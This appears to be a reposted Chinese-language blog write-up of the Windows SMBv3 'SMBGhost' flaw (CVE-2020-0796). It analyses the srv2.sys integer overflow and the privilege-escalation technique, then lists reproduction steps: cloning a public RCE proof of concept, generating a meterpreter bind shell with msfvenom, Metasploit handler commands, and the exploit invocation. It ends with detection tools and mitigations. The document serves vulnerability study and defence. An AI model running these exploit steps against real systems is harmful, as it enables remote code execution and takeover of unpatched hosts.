Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现
作者：互联网
0x00 漏洞描述
漏洞公告显示，SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。0x01 漏洞响应版本
Windows 10 1903版本（用于基于x32的系统） Windows 10 1903版（用于基于x64的系统） Windows 10 1903版（用于基于ARM64的系统） Windows Server 1903版（服务器核心安装） Windows 10 1909版本（用于基于x32的系统） Windows 10版本1909（用于基于x64的系统） Windows 10 1909版（用于基于ARM64的系统） Windows Server版本1909（服务器核心安装）0x02 漏洞分析
漏洞公告显示，SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。1.根本原因
漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。
2.初步分析
该错误是发生在srv2.sys SMB服务器驱动程序中的Srv2DecompressData函数中的整数溢出错误。这是该函数的简化版本，省略了不相关的细节：
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
该Srv2DecompressData函数接收客户端发送的压缩消息，分配所需的内存量，并解压缩数据。然后，如果Offset字段不为零，它会将放置在压缩数据之前的数据复制到分配的缓冲区的开头。
如果仔细观察，我们会发现第20行和第31行可能导致某些输入的整数溢出。例如，大多数在bug发布后不久出现并导致系统崩溃的poc都使用0xffffff值作为Offset字段。使用该值0xffffff会在第20行触发整数溢出，因此分配的字节更少。
稍后，它会在第31行触发额外的整数溢出。崩溃是由于在第30行中计算出的远离接收消息的地址处的内存访问造成的。如果代码在第31行验证了计算结果，那么它将很早退出，因为缓冲区长度恰好是负数且无法表示，这也使得第30行的地址本身也无效。
3.选择溢出内容
只有两个相关字段可以控制以导致整数溢出的字段：OriginalCompressedSegmentSize和Offset，因此没有太多选择。在尝试了几种组合之后，下面的组合吸引了我们：如果我们发送一个合法的偏移值和一个巨大的原始压缩段大小值呢？让我们回顾一下代码将要执行的三个步骤：
- 分配：由于整数溢出，分配的字节数将小于两个字段的总和。
- 解压缩：解压缩将收到一个非常大的OriginalCompressedSegmentSize值，将目标缓冲区视为具有无限大小。所有其他参数均不受影响，因此它将按预期执行。
- 复制：如果要执行，则复制将按预期执行。
不管是否要执行复制步骤，它看起来已经很有趣了——我们可以在解压缩阶段触发越界写入，因为我们设法分配了比“分配”阶段所需的字节少的字节。
如您所见，使用这种技术，我们可以触发任何大小和内容的溢出，这是一个很好的开始。但是什么位于我们的缓冲区之外？让我们找出答案！
4.深入分析SrvNetAllocateBuffer
为了回答这个问题，我们需要查看分配函数，在我们的例子中是SrvNetAllocateBuffer。下面是函数的有趣部分：
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
// ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
我们可以看到分配函数根据所需的字节数执行不同的操作。大型分配（大于约16MB）会导致执行失败。中型分配（大于约1 MB）使用SrvNetAllocateBufferFromPool函数进行分配。小型分配（其余的）使用lookaside列表进行优化。
注意：还有一个SrvDisableNetBufferLookAsideList标志会影响函数的功能，但是它是由一个未记录的注册表设置来设置的，并且默认情况下处于禁用状态，因此并不是很有趣。
Lookaside列表用于有效地为驱动程序保留一组可重用的、固定大小的缓冲区。lookaside列表的功能之一是定义一个自定义的分配/释放函数，用于管理缓冲区。查看SrvNetBufferLookasides数组的引用，我们发现它是在SrvNetCreateBufferLookasides函数中初始化的，通过查看它，我们了解到以下内容：
- 自定义分配函数定义为SrvNetBufferLookasideAllocate，它只调用SrvNetAllocateBufferFromPool
- 9个lookaside列表按以下大小创建，我们使用Python快速计算：
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] - 这与我们的发现相匹配，即分配大于0x100100字节的分配时不使用lookaside列表。
结论是每个分配请求最终都出现在SrvNetAllocateBufferFromPool函数中，所以让我们来分析它。
6.SrvNetAllocateBufferFromPool和分配的缓冲区布局
SrvNetAllocateBufferFromPool函数使用ExAllocatePoolWithTag函数在NonPagedPoolNx池中分配一个缓冲区，然后用数据填充一些结构。分配的缓冲区的布局如下：
在我们的研究范围内，此布局的唯一相关部分是用户缓冲区和分配头结构。我们可以马上看到，通过溢出用户缓冲区，我们最终会重写ALLOCATION_HEADER结构。看起来很方便。
7.重写分配头结构
此时，我们的第一个想法是，由SmbCompressionDecompress调用之后的检查：
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
SrvNetFreeBuffer将被调用，并且该函数将失败，因为我们将其设计OriginalCompressedSegmentSize为一个很大的数字，并且FinalCompressedSize将成为一个较小的数字，代表实际的解压缩字节数。因此，我们分析了该SrvNetFreeBuffer函数，成功地替换了一个幻数的分配指针，然后等待free函数尝试对其进行释放，以期稍后将其用于free-after-free或类似用途。但是令我们惊讶的是，该memcpy函数崩溃了。这使我们感到高兴，因为我们根本没有想到哪里，但我们必须检查为什么会这样。可以在SmbCompressionDecompress函数的实现中找到说明：
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
基本上，如果解压成功，FinalCompressedSize将更新为保存CompressedBufferSize的值，它是缓冲区的大小。这种对FinalCompressedSize返回值的故意更新对我们来说似乎非常可疑，因为这个小细节，加上分配的缓冲区布局，允许非常方便地利用这个bug。
由于执行继续到复制原始数据的阶段，让我们再次检查调用：
memcpy（
Alloc-> UserBuffer，
（PUCHAR）title+ sizeof（COMPRESSION_TRANSFORM_HEADER），
Header-> Offset）;
从ALLOCATION_HEADER结构中读取目标地址，我们可以覆盖该结构。缓冲区的内容和大小也由我们控制。
8.本地权限提升
既然我们有了写在哪里开发，我们能用它做什么？很明显我们可以让系统崩溃。我们可能能够触发远程代码执行，但我们还没有找到这样做的方法。如果我们在本地主机上使用此漏洞并泄漏其他信息，我们可以将其用于本地权限提升，因为已经通过几种技术证明了这一点
我们尝试的第一种技术是Morten Schenk在其《Black Hat USA 2017》演讲中提出的。该技术涉及重写win32的.data部分中的函数指针数据库系统驱动程序，然后从用户模式调用相应的函数以获得代码执行。j00ru写了一篇关于在WCTF 2018中使用此技术的精彩文章，并提供了他的漏洞源代码。我们针对write what where漏洞进行了调整，但发现它不起作用，因为处理SMB消息的线程不是GUI线程。因此，win32数据库系统没有映射，而且技术也不相关（除非有办法使它成为一个GUI线程，这是我们没有研究过的）。
我们最终在2012年的黑帽演示中使用了cesarcer所介绍的著名技术—轻松本地Windows内核开发。该技术是通过使用NtQuerySystemInformation（SystemHandleInformation）API泄漏当前进程令牌地址，然后重写该地址，授予当前进程令牌权限，这些权限可用于权限提升。Bryan Alexander（dronesec）和Stephen Breen（breenmachine）（2017）在EoP研究中滥用代理权限，展示了使用各种令牌特权提升特权的几种方法。
我们基于Alexandre Beaulieu在利用任意写操作提升权限writeup时共享的代码进行攻击。在修改进程的令牌特权后，我们通过将DLL注入winlogon.exe. DLL的全部目的是启动命令提示符. 我们的完整本地特权升级证明可在此处找到，仅可用于研究/防御目的。0x03 CVE-2020-0796 RCE漏洞复现
1.环境准备 攻击机：kal2019 ip:192.168.1.101 目标靶机：windows10 1903 x64 (专业版，企业版也可以） ip:192.168.1.103 目标靶机的下载地址： ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/ 2.环境要求： (1).该poc不太稳定，需要多次测试(猜测是占用监听端口或者网络问题），有可能出现蓝屏现象 (2).如果POC失败，可能是目标系统开启系统自带的defender拦截了 (3).测试的时候，最好关闭防火墙和杀软，让445端口开放 3.复现步骤 (1).kali下克隆下载利用pocroot@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
root@kali2019:/opt# cd SMBGhost_RCE_PoC/
root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
root@kali2019:~# cat exp.py
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式 msf5 exploit(multi/handler) > set rhost 192.168.1.103 #设置目标靶机IP地址 msf5 exploit(multi/handler) > set lport 2333 #设置监听端口 msf5 exploit(multi/handler) > exploit
python3 exploit.py -ip 192.168.1.103
0x04 CVE-2020-0796 本地提权漏洞复现
1.环境要求，需要windows 10 1909 x64 下载地址：ed2k://|file|cn_windows_10_business_editions_version_1909_x64_dvd_0ca83907.iso|5275090944|9BCD5FA6C8009E4D0260E4B23008BD47|/ 提权POC:https://github.com/danigargu/CVE-2020-0796/releases
0x05 漏洞检测
1.奇安信批量检测工具： http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
3.python脚本检测：
https://github.com/ollypwn/SMBGhost0x06 漏洞修复
1. 更新，完成补丁的安装。
操作步骤：设置->更新和安全->Windows更新，点击“检查更新”。
2.微软给出了临时的应对办法：
运行regedit.exe，打开注册表编辑器，在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。
3.对SMB通信445端口进行封禁。
4.补丁链接 https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB45517620x07 参考连接
https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html https://github.com/danigargu/CVE-2020-0796 http://dl.qianxin.com/skylar6 https://github.com/ollypwn/SMBGhost https://github.com/chompie1337/SMBGhost_RCE_PoC https://github.com/danigargu/CVE-2020-0796 https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/标签：HEADER,Header,Windows,漏洞,SMBv3,缓冲区,com,分配 来源： https://www.cnblogs.com/backlion/p/13050249.html